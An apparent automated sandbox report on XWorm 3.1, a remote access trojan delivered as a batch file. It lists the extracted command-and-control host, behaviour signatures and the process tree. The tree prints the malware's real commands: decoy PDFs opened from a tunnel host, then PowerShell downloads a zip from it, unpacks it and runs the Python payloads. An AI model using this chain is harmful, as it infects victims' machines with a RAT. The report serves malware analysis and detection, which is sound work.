xworm | 1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39

Analysis

max time kernel
299s
max time network
296s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
16/05/2024, 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

basbasbas.bat
Size

1KB
MD5

ddd451685225b980bb2e0789090d3ff5
SHA1

cafbfce346a90aef87782e8ff87a626e5ffa6b05
SHA256

1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39
SHA512

78e4e8724522abe7170f2e26143fc72cd632eb23b8ba6499558ab1c37e430a53d4f37aeec9f93b6fb465c84e5a476057178ceb6f7f3c728c5c4c21dced02f0da

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

freshinxworm.ddns.net:7000

Mutex

gqDWp48TjRIAdwF2

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/1956-15290-0x000001CEF7740000-0x000001CEF774E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3832 created 3316	3832	python.exe	53
PID 3832 created 3316	3832	python.exe	53

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1724	powershell.exe
1960	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4736	python.exe
3832	python.exe

Loads dropped DLL 8 IoCs

pid	Process
4736	python.exe
4736	python.exe
3832	python.exe
3832	python.exe
3832	python.exe
3832	python.exe
3832	python.exe
3832	python.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4060	timeout.exe
1356	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1960	powershell.exe
1960	powershell.exe
396	msedge.exe
396	msedge.exe
4576	msedge.exe
4576	msedge.exe
4856	msedge.exe
4856	msedge.exe
2016	identity_helper.exe
2016	identity_helper.exe
1724	powershell.exe
1724	powershell.exe
1724	powershell.exe
5020	msedge.exe
5020	msedge.exe
5020	msedge.exe
5020	msedge.exe
3832	python.exe
1956	notepad.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
3832	python.exe
3832	python.exe
4576	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1956	notepad.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe
4576	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1956	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 4576	4988	cmd.exe	81
PID 4988 wrote to memory of 4576	4988	cmd.exe	81
PID 4988 wrote to memory of 4060	4988	cmd.exe	84
PID 4988 wrote to memory of 4060	4988	cmd.exe	84
PID 4576 wrote to memory of 72	4576	msedge.exe	85
PID 4576 wrote to memory of 72	4576	msedge.exe	85
PID 4988 wrote to memory of 1960	4988	cmd.exe	86
PID 4988 wrote to memory of 1960	4988	cmd.exe	86
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 3400	4576	msedge.exe	87
PID 4576 wrote to memory of 396	4576	msedge.exe	88
PID 4576 wrote to memory of 396	4576	msedge.exe	88
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89
PID 4576 wrote to memory of 4600	4576	msedge.exe	89

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\basbasbas.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://climb-items-macedonia-hometown.trycloudflare.com/a.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff97963cb8,0x7fff97963cc8,0x7fff97963cd8
      4⤵
      PID:72
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1868 /prefetch:2
      4⤵
      PID:3400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2596 /prefetch:8
      4⤵
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      PID:3864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
      4⤵
      PID:2508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5096 /prefetch:1
      4⤵
      PID:2644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5044 /prefetch:6
      4⤵
      PID:3280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
      4⤵
      PID:1936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5012 /prefetch:1
      4⤵
      PID:2212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:1
      4⤵
      PID:2668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5008 /prefetch:1
      4⤵
      PID:1012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5420 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6028 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4712 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,16522508829530101506,8839068579731381975,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
      4⤵
      PID:1736
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://climb-items-macedonia-hometown.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\Admin\Downloads\qfv0ao.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1724
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe vue.py
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4736
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe new.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://climb-items-macedonia-hometown.trycloudflare.com/b.pdf
    3⤵
    PID:3396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff97963cb8,0x7fff97963cc8,0x7fff97963cd8
      4⤵
      PID:5016
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:1356
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1956

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3564

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
390187670cb1e0eb022f4f7735263e82

SHA1
ea1401ccf6bf54e688a0dc9e6946eae7353b26f1

SHA256
3e6c56356d6509a3fd4b2403555be55e251f4a962379b29735c1203e57230947

SHA512
602f64d74096d4fb7a23b23374603246d42b17cc854835e3b2f4d464997b73f289a3b40eb690e3ee707829d4ff886865e982f72155d96be6bc00166f44878062

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8294f1821fd3419c0a42b389d19ecfc6

SHA1
cd4982751377c2904a1d3c58e801fa013ea27533

SHA256
92a96c9309023c8b9e1396ff41f7d9d3ff8a3687972e76b9ebd70b04e3bf223a

SHA512
372d369f7ad1b0e07200d3aa6b2cfce5beafa7a97f63932d4c9b3b01a0e8b7eb39881867f87ded55a9973abea973b2d2c9b6fc4892f81cec644702b9edb1566d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
216B

MD5
2f8041029985f7fe5ae3d5540fa65086

SHA1
9baf66cc892ce06ceac6613df84751683b78fe10

SHA256
e4e84e7971bb9ab6523540755e5fe40be976c0848b32b44d84a9872ab0bc153c

SHA512
b3235ff2459f0ac94c340db27bb523294995d458c30ef21be85fa4f4f860f6c9fc9d203d8b8e5fc2024d7cdabda7e4f4caa95699c36d40863a549805fec2fbc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
4a19a0e0966890f8504a3dcefb6e7991

SHA1
b9667f2b6880a2949d67f8dc11d27b611b524081

SHA256
5faa9551de8a166bce31d6656981cdd5f9bc060bde6e47cdb324e4ae39f8cef1

SHA512
1c90df2f379ae302427b2e6c915d5aa8c1ba5b8b4aba760e5b929d11ac42415930fb89cecd6118ac4dd4b3a33b57ed6ff63a4d82ffb72a83cf4cee4125d7be7a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b48406701d95d2f725f10364c907c498

SHA1
2e10595a505adddfe39d7c8134bbd2ad33d6e0f6

SHA256
19b681a3fbed8cb6a362ca37da5200a7f0f729bdaedef68a08fcedabdb8ab811

SHA512
0a59d23316fe3c860af9546992e9ac2cc0e804f01b64b6f6cb5b7e6b5d436415141b94f7db8fdbac759d83ea1b01fa52a81aa3ead63c731d41b06a3bb431f1b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
18531c34bc4f32dd7e8ab0993536ebe1

SHA1
16fd5f5be769800482f38462f0f6d25bb5b9bf4a

SHA256
5be522edb3d8bcf3cfb6f2f558519e6e026141266fc82d7ae5afb083d10b053f

SHA512
a0670d837d969aaa33e17ca18677a49b5df42ed24c6a10f55cb38b28bd4ef7fa27baad9a3680e6d48ed6561af7d7bfd6c6c1f45490e7f6262a1218bfdd5eb082

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e6baeec02c3d93dce26652e7acebc90

SHA1
937a7b4a0d42ea56e21a1a00447d899a2aca3c28

SHA256
137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0

SHA512
461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1ytma0s.svr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\contrib\flatpages\urls.pyi

Filesize
59B

MD5
72baef07657af40bbb9421362b0c67cd

SHA1
e0e802c0e54240712b8bd8418627b2ffa123bc94

SHA256
a0869d2c9451a944b87f059edc5d93c1d415888b98b9247b8aeb5489d9dcba7d

SHA512
32e4cddc4df9759ad46f617cd69b2adc130a918cac4f588cf563d8e3c298ece3a5bb0a9dc9a082cbdc015f2789336a6e67d545603ea69477fc5de28256fd6d06

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\core\mail\backends\filebased.pyi

Filesize
103B

MD5
7f6526c1bbcb2aa7ba6a8cde268765bc

SHA1
cfc87c1fd110239d47886e0c5ebcad54bd453bbe

SHA256
ae9de027f591acfedc0ba387099c4398c0841a9c126535d313ffbdb18184eea0

SHA512
3c6f26b5f0ab2bc22e72e116ffe28624e5d971a86b9d85e5f733844827e784b8349c46fa46ca5390bc972607b7fb5b37a6fb47b410e105f02b147dfe77a737c7

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\core\management\commands\testserver.pyi

Filesize
85B

MD5
6b8cad3305cef8186496283d80f5ea37

SHA1
418009700ba673f4aebf49db46d1f44384d4f8f8

SHA256
1a4fa10dd76be871ebe4f02bc9ccf70eaa1e178efa5291aa6aff471a9fcdb272

SHA512
e06ba45ea1bd65681f3be4a85118d4bc75c961e82dc6d319c6a2b1a7a39533732fe7c5d152ea978e0dd62c1ea520eb62c9322eaed82ca5588495fa1465f71555

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\stdlib\2and3\ntpath.pyi

Filesize
6KB

MD5
05fbc4e476029d491dbc02a9522c6e04

SHA1
061fe610c5eb467fa554f8dd131c5725c84fe14d

SHA256
2875c0ab8ecc2fc5d7a6192bc2f35a5161193e747825e1081ef33f9b10a5459c

SHA512
6afd03793a31a76a0b51da83e6c1037e536025ecfaf1e0a752ce4ca471100e29c2a2ff5c54a0cec07c64653b83fdac9c0d6d78b55c50c685d8452f900896226b

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\2and3\cryptography\hazmat\__init__.pyi

Filesize
63B

MD5
84a27291937d76e46b277653002601f2

SHA1
fe60efb40aeeee2998bb07245d4f9571ad08825f

SHA256
ddf071712a6926be84384714a23bdf946dc47a083b96fd90a7474d41020bacfe

SHA512
e489e83fd33fdc8ba88954725f79c2132bc4162ba713c72b190b790b4a368e3ceb024d7b8bceec4544123a5435fdfd987876f1b2542da06cba899f5ac72945be

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\3\docutils\parsers\__init__.pyi

Filesize
58B

MD5
ca0671203ef640e39118196d5af0987c

SHA1
0567568d191018e003ce5866f33ac4725ac30304

SHA256
0505540b357c942ca59e62c2b67374633fedb65ab2cdc2dcf81671d8a3d73f33

SHA512
322fe9032e26defb6abf33051093924a4fa9beff5a5e619acdd3f0da975fadb81388a50d6e037798a73896762d1ab2ce0e189c4aae2b580988fa4a3229f5712b

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\3\six\moves\SimpleHTTPServer.pyi

Filesize
26B

MD5
